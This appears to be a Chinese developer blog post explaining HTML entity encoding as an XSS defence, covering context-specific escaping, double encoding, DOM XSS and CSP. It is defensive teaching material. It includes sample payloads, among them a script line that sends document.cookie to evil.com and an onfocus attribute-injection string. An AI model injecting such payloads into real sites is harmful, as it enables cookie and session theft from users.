一个引号就能攻破你的网站,HTML 编码你学不学

2026-04-05编码转换

曾接手过一个内部工单系统。上线第二天,运营同事在群里发了张截图——她在备注字段输入了 <a href="http://xxx">点我</a>,结果页面真的渲染出了一个可点击的链接。

我当时的第一判断是"后端没做编码"。查了代码,后端确实调了 htmlspecialchars。再往前查,发现数据经过了两次处理:后端编码完后,前端用 JavaScript 把数据取出来,又拼了一次 innerHTML,但前端拼的时候用的是原始数据,不是编码后的版本。

等于后端白编码了。

这就是典型的 HTML 注入场景。虽然那次不是恶意攻击,但逻辑是一样的:用户输入的内容被当成了 HTML 解析。如果那段内容换成 <script>document.location='http://evil.com/?cookie='+document.cookie</script>,后果就不只是"多个链接"这么简单了。

实体编码的三种写法

HTML 实体编码的核心思路就是把"有特殊含义的字符"替换成"无害的替代表示"。浏览器渲染时看到这些替代表示,知道"哦,这里是想显示一个小于号,不是标签开始"。

有三种写法,浏览器都认:

类型示例说明
命名实体&amp;只能表示部分常用字符
十进制数字实体&#38;&# + Unicode 码点 + ;
十六进制数字实体&#x26;&#x + Unicode 码点 + ;

最常用的几个保留字符:

原始字符命名实体十进制十六进制
&&amp;&#38;&#x26;
<&lt;&#60;&#x3C;
>&gt;&#62;&#x3E;
"&quot;&#34;&#x22;
'&apos;&#39;&#x27;

这三种写法在浏览器里渲染结果没区别。区别在于覆盖范围——命名实体只定义了几百个,而数字实体理论上可以表示所有 Unicode 字符。比如 &#x1F600; 显示 😀,命名实体里就没有这个。

编码和不编码的区别

拿一个具体场景来做对比。假设用户提交了一段文本:

你好 <script>alert('xss')</script> 欢迎

不编码直接输出到 HTML

浏览器看到 <script> 标签,会尝试执行里面的 JavaScript。因为浏览器解析 HTML 的时候,< 就是标签开始的标志。结果就是个弹窗。

编码后输出

替换规则逐字符处理。< 变成 &lt;> 变成 &gt;' 变成 &apos;。最终结果是:

你好 &lt;script&gt;alert(&apos;xss&apos;)&lt;/script&gt; 欢迎

浏览器渲染这段时,&lt; 被理解成"显示一个小于号",不会当作标签。所有字符都安全地显示为文本。

我用 Python 测过这个转换过程。html.escape 默认只编码 &<> 三个字符,引号需要额外指定 quote=True。我一开始没传这个参数,结果属性值里的引号没被编码,还是存在属性注入风险。

import html

raw = "<script>alert('xss')</script>"
print(html.escape(raw))                    # &lt;script&gt;alert('xss')&lt;/script&gt;
print(html.escape(raw, quote=True))        # &lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;

区别在哪?第一个输出里单引号还是原样,如果这段文本被放到 HTML 属性里,攻击者可以通过单引号提前闭合属性值。

不同上下文,不同规则

HTML 实体编码不是万能药。它只在HTML 标签内容HTML 属性值这两个上下文中有效。换一个上下文,规则就变了。

HTML 标签内容<div>{{ text }}</div>。只需要编码 <>&。因为在这里,只有 < 可能被误解析为标签起始。

HTML 属性值<input value="{{ text }}">。除了 <>&,还必须编码引号。攻击者可以通过注入 " 闭合属性,然后插入新属性。比如用户输入 " autofocus onfocus="alert(1) 双引号包起来的内容,浏览器会解析出两个属性。

<!-- 未编码的情况 -->
<input value="" autofocus onfocus="alert(1)" />
<!-- 攻击者的 onfocus 被执行了 -->

<!-- 编码后的情况 -->
<input value='" autofocus onfocus="alert(1)' />
<!-- 所有内容都乖乖待在 value 里 -->

JavaScript 字符串<script>var name = '{{ text }}';</script>。这里的防御规则完全不同。HTML 实体编码帮不上忙,因为浏览器解析 HTML 阶段已经把实体解码了,JavaScript 拿到的是解码后的原始字符。如果用户输入中包含 '\,可以直接闭合 JavaScript 字符串然后注入代码。

我踩过这个坑。有次在 <script> 标签里嵌了一段用户配置,虽然对 < 做了 HTML 编码,但没处理反斜杠。一个用户在昵称里用了 \,结果 JavaScript 语法直接崩了——\ 转义了后面的引号,字符串被提前闭合。

URL 上下文<a href="{{ url }}">。这里需要 URL 编码,不是 HTML 编码。如果用户输入 javascript:alert(1),HTML 编码引号是没用的——因为 href 的值里,javascript: 协议会被执行。框架层面也很难防御这个,除非做白名单过滤协议头。

编码不是安全银弹

另一个容易翻车的地方是"二次编码"。

我有一次修一个 bug,看到用户输入在数据库里存的是 &amp;lt;——字面意思的 &amp;lt;。查了一圈发现:用户在表单里输入了 <,前端 JavaScript 做了第一次实体编码变成 &lt;,数据到后端后端又调用了一次 htmlspecialchars,把 &lt; 里的 & 又编码了一遍,变成 &amp;lt;

结果是页面显示 &lt; 而不是 <。用户看到的是乱码。

判断依据很简单:去数据库查原始存储的值。看到 &amp;lt; 的时候就意识到是双重编码。后来改成只在输出端做一次编码,问题解决。

这条规则一直有效:编码应该在输出端做,不是在输入端。 数据库里存原始数据,模板渲染时再编码。这样不管数据从哪里来(用户输入、API、迁移脚本),都不会出现编码混乱。

XSS 防御的层次

HTML 实体编码防御的是反射型存储型 XSS——这两种 XSS 的核心都是"用户输入的内容被当成了 HTML 解析"。编码后,内容变成了纯文本,脚本不会被解释执行。

但它对DOM 型 XSS的防护有限。DOM XSS 发生在客户端——前端代码通过 innerHTMLdocument.writeeval 等 API 把用户控制的字符串当作 HTML 或代码执行。就算服务端做了编码,如果前端在 JavaScript 层面做了额外的解码操作(比如 decodeURIComponent),编码就不起作用了。

我遇到过一种情况:服务端对用户名做了实体编码,但前端拿到数据后用 innerHTML 展示没问题。可另一个功能把用户名放到了 URL 参数里,然后又从 URL 读取出来直接 innerHTML——URL 参数里的数据没有经过服务端编码,等于绕过了防护。

HTML 编码与 XSS 攻击链路

最佳实践

踩了这么多坑之后,我总结了几条规则:

在服务端做编码。最可靠的是 OWASP 的编码库,Java 用 Java Encoder,Python 用 html.escape,PHP 用 htmlspecialchars。不要在客户端做编码,容易被绕过。

区分上下文。输出到 HTML 标签内容用一套规则,输出到属性值额外编码引号,输出到 JavaScript 用 \xHH 编码,输出到 URL 调用 encodeURIComponent

用 textContent 替代 innerHTML。如果只是展示文本,textContent 不会把内容解析为 HTML,天然安全。只在确信内容安全时才用 innerHTML

内容安全策略(CSP)作为最后一道防线。即使编码出漏洞了,CSP 也能阻止恶意脚本执行。我的博客配了 script-src 'self',虽然配置过程被第三方 SDK 折腾了一整天,但配完安心很多。

实际工作中建议用 HTML 实体编码工具 可以在线验证你的编码结果是否正确,支持双向转换和预览。